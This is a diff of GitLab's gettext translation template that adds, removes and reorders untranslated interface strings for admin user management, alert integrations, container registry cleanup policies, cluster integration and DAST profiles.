+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
